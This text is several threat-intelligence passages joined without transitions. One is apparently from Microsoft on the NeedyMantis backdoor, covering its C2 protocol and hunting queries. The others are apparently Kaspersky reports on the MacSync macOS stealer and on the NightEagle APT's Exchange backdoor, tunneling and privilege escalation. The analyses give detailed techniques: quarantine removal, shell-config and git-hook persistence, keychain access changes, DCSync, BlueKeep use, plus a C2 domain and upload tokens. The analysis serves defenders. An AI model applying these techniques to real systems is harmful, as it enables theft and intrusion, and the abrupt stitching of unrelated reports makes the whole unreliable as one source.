0x1c: Communication component name (ws2_32.dll)
0x128: C2 port (443)
0x12c: C2 host (corp.tripswithengine[.]com)
0x334: C2 URI (/library/zip/)
0x53C: WinHttpOpen AccessType (0)
0x954: Proxy username (not set)
0xB5C: Proxy password (not set)
0xD64: Sleep time related (300)
0xD68: Sleep time related (300)
Communications DLL
As referenced in the configuration, NeedyMantis makes use of a communication component called ws2_32.dll. This component is also stored in the custom file archive. Like the config file, the file name spoofs a Windows networking library.
This communications DLL has one export named SystemInfo. As shown below in Figure 7, SystemInfo exposes 10 functions for the main component to initiate and maintain a WebSockets connection with the C2:
Figure 7. Communications DLL API functions
The library uses WinINet APIs for WebSockets. It also has a hard-coded user-agent of firefox/21.0.
We have also spotted a second version of the communications DLL in a file archive. It implements the same communications API but uses Libwebsockets (LWS) instead of WinINet.
Command and control
The initial C2 beacon is an HTTPS GET request, similar to Figure 8 below:
Figure 8. Initial C2 HTTPS GET request
The Set-Cookie header contains system information. The header value can be Base64-decoded and RtlDecompressBuffer decompressed. Once decompressed it contains a JSON object. The key values are:
c β Computer name
u β Username
o β Base64-encoded data, once decoded it contains line separated β
f β Files in ProgramFiles directory
pa β Parent process
p β Process name
β entries:
p β Process list
The connection is then converted to WebSockets and a binary C2 protocol is continued. The binary protocol is separated into a header and optional data components. The 44-byte header includes the following fields:
0x00: 16-byte XOR key
0x10: Uncompressed data length
0x14: Compressed data length
0x18: Command number
0x28: Data length
0x2c: Optional data
A 16-byte random XOR key is generated and the header is XOR-encoded, starting at offset 0x18. If there is any data, it is compressed with RtlCompressBuffer and optionally encrypted with RC4.
The initial messages of the binary protocol are a key exchange with the C2 server. The protocol is performed as such:
32-bytes are received from the C2 server, but then ignored
A 1024-byte random buffer is created
The first 32-bytes of this random buffer are used as the RC4 key for further communications
A 256-byte buffer is created that starts with google.com followed by random bytes
The 256-byte buffer is RC4 encrypted
A random length between 292 and 1282 is picked
The C2 protocol message data is structured as such:
0x00: The random length
0x04: RC4 encrypted google.com buffer
0x104: The random 1024-byte buffer used to create the RC4 key (at least 32 bytes of it)
This message data is compressed, but not RC4 encrypted
A random command number between 1 and 45 is chosen
The C2 server uses the buffer at offset 0x104 to recreate the RC4 key and presumably checks the RC4 encrypted google.com buffer
The server sends back the random command number as an acknowledgement
Commands
The main component only has a handful of commands. Commands sent to the C2 include:
1110 β Sends computer name and username
1112 β Sends a hard-coded identifier (like 20001)
1150 β Keep alive
Commands received from the C2 include:
1020 β Load module
1030 β Unload module
1050 / 1150 β Dispatch data to module
1070 β Turn off active flags
The main componentβs load, unload, and data dispatch commands show that NeedyMantis can extend its functionality through additional modules, but the capabilities of those modules remain unconfirmed.
Mitigation and protection guidance
Microsoft recommends the following mitigations to reduce the impact of this threat.
Look for outbound connections in network egress traffic to corp.tripswithengine[.]com.
Run Endpoint Detection and Responseβ―(EDR) in block modeβ―so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.β―β―β―β―
Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organizationβs assets, and provide more time for security teams to remediate the attack fully.
Microsoft Defender XDR customers can turn on the following attack surface reduction rulesβ―to prevent common attack techniques used by threat actors.
You can assess how an attack surface reduction rule might impact your network by opening the security recommendation for that rule in threat and vulnerability management. In the recommendation details pane, check the user impact to determine what percentage of your devices can accept a new policy enabling the rule in blocking mode without adverse impact to user productivity.
Microsoft Defender detections
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.
Tactic
Observed activity
Microsoft Defender coverage
Execution
Shellcode loading, DLL sideloading, decryption, and decompression
Microsoft Defender for Endpoint β Suspicious DLL loaded β An executable file loaded an unexpected DLL file β Suspicious decode command
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Threat intelligence reports
Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this malware and associated activity.
Hunting queries
Microsoft Defender XDR
Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:
NeedyMantis masquerading as software
A listing of legitimate, unmodified application folders, along with malicious replacement DLL filenames sideloaded by NeedyMantis.
DeviceFileEvents
| where Timestamp > ago(7d)
| where (
(FolderPath matches regex @"^[A-Za-z]:\\Program Files\\Poedit" and FileName == "WinSparkle.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\Program Files \(x86\)\\Poedit" and FileName == "WinSparkle.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\USOShared" and FileName == "libcurl.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\VIM" and FileName == "vim64.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\TightVNC\\VIM" and FileName == "vim64.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\office" and FileName == "dbghelp.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\broadcom" and FileName == "dbghelp.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\Intel" and FileName == "jli.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\Program Files\\modifiable" and FileName == "nvml.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\Program Files \(x86\)\\modifiable" and FileName == "nvml.dll")
or (FolderPath matches regex @"^[A-Za-z]:\\ProgramData\\ics" and FileName == "nvml.dll")
)
| project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, FileName,
SHA1, SHA256, MD5,
InitiatingProcessAccountDomain, InitiatingProcessAccountName, InitiatingProcessAccountSid,
InitiatingProcessAccountUpn,
InitiatingProcessMD5, InitiatingProcessSHA1, InitiatingProcessSHA256,
InitiatingProcessFolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessCreationTime,
ReportId, TenantId
NeedyMantis C2
This query identifies connectivity to the NeedyMantis command and control site for this activity.
Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with βTI mapβ) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.
NeedyMantis C2
This query identifies connectivity to the NeedyMantis command and control site for this activity.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.
Key points:
The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
The main malicious payload now consists of modules written in Objective-C and Swift.
At one stage of infection, the attackers use iCloud to deliver the next
Kaspersky solutions detect the threats described below under the following verdicts:
HEUR:Trojan.OSX.MacSync.*
HEUR:Trojan-PSW.OSX.MacSync.*
HEUR:Trojan-Dropper.OSX.MacSync.*
HEUR:Trojan-Downloader.OSX.MacSync.*
Technical details
Infection chain
MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:
The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victimβs device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. Weβll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:
Itβs worth noting right away that MacSync shows shared traits at almost every stage:
All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.
Loader, Calendar, and Two Simple Droppers
In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. Itβs worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.
The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:
After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.
We donβt know the contents of the scripts distributed from the attackerβs server, but they are very likely the same script found in the calendar event description.
The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:
The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.
Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether itβs running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:
As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:
Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:
The main function in the script is named daemon_function.
The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.
The script performs the following tasks:
Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
Gaining persistence on the system
Uploading data received from the infostealer module to the command-and-control server
One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:
The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
Here, build_pub_b64 is the serverβs public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victimβs device.
Then decrypt command from pkgunpack utility decrypts the key:
A shared secret is computed from the serverβs known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
The first 5 bytes: additional authenticated data (AAD)
The next 12 bytes: the initialization vector (IV)
The rest: the ciphertext
The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
Decoded dek_wrap_b64
The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.
Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.
As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackersβ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesnβt exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:
A LaunchAgent named com.apple.finder.agent
Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks
The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.
One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.
Infostealer
The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.
Fake stealer pop-up windows
Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.
Password verification with PAM
Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.
String decryption
The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:
Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
Crypto wallet application data
Telegram data
Device login and password
Keychain file
System information: list of installed applications and running processes, device model, hardware, UUID, and so on
Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
ZSH and Bash command history
Current user profile picture
The collected data is saved to a hidden directory in /tmp/.
The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious applicationβs resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the applicationβs resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:
teamid: the application is signed with a certificate that has a specific teamID (in this case, the target applicationβs developer)
apple: the application is an Apple service
apple-tool: the application is an Apple command-line utility
The stealer then uses the Security.framework API to try and retrieve the secretβs contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they havenβt managed to do so, which is why the feature is disabled. In the stealerβs encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:
Code section responsible for changing access to keychain services
Backdoor
The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoorβs body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.
As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executableβs overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:
AGNT1: a magic constant confirming that the configuration was decrypted correctly
C2 server URL
Access token: the same one used in the parent script
BLD-150: the backdoor build number
The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The serverβs response should be a JSON file.
Method
URL path
Request parameters
Description
GET
/v1/agent/ping
tag: the victimβs unique ID combined with the backdoor build number
build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST
/v1/agent/refresh
tag
build
old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST
/v1/asset/<upload_id>/init
upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victimβs device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT
/v1/asset/<upload_id>
The request that actually uploads the file to the server.
POST
/v1/agent/<command_status>
command_status: a status unique to the commands the agent executes
tag
upload_id: the ID of the file uploaded to the server (if any)
phase: information about the command being executed or its stage
message: a message
active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoorβs operation. Information about command execution status serves as a telemetry source for the attackers.
Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the serverβs response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:
deploy_ext: deploy an extension downloaded from the server into the victimβs browser.
deploy_ledger: replace the installed Ledger wallet with the version from the server.
regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if itβs not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victimβs browser.
The section of the regrab command where the archiveβs integrity is verified and its hash is calculated before it is sent
Takeaways
The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealerβs and backdoorβs main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. Itβs also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Appleβs infrastructure as one of the intermediate stages for delivering the malicious payload.
The nature of the data attackers seek to collect from a victimβs device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSyncβs compromise of software developersβ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.
Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.
Initial access
In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.
GhostContainer on Microsoft Exchange
Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.
We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.
The backdoor is a .NET assembly containing three classes that implement its core functionality:
Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.
Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.
GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis
Traffic redirection
Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.
The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:
One of the repositories used for storing network tools
The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:
adobe_32.exe;
AdobeSync.exe;
trueconf.exe;
1cbroker.exe;
1c-office-plugin.exe;
trueconf-broker.exe.
Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.
Microsoft dev tunnels
This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
Execution graph of adobe_32.exe in Kaspersky Research Sandbox
rdp2tcp
This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attackerβs side.
When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.
When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.
Creation event for a channel named rdp2tcp (server component startup)
The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.
The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:
To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.
In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.
Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit
The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.
Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victimβs entire Active Directory infrastructure.
Takeaways
To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the groupβs efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagleβs presence on the network.
Detection by Kaspersky solutions
Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kasperskyβs collection.
The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:
Backdoor analysis with KTAE
However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.
This malicious activity is detected by the following rules, available in the repository:
Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events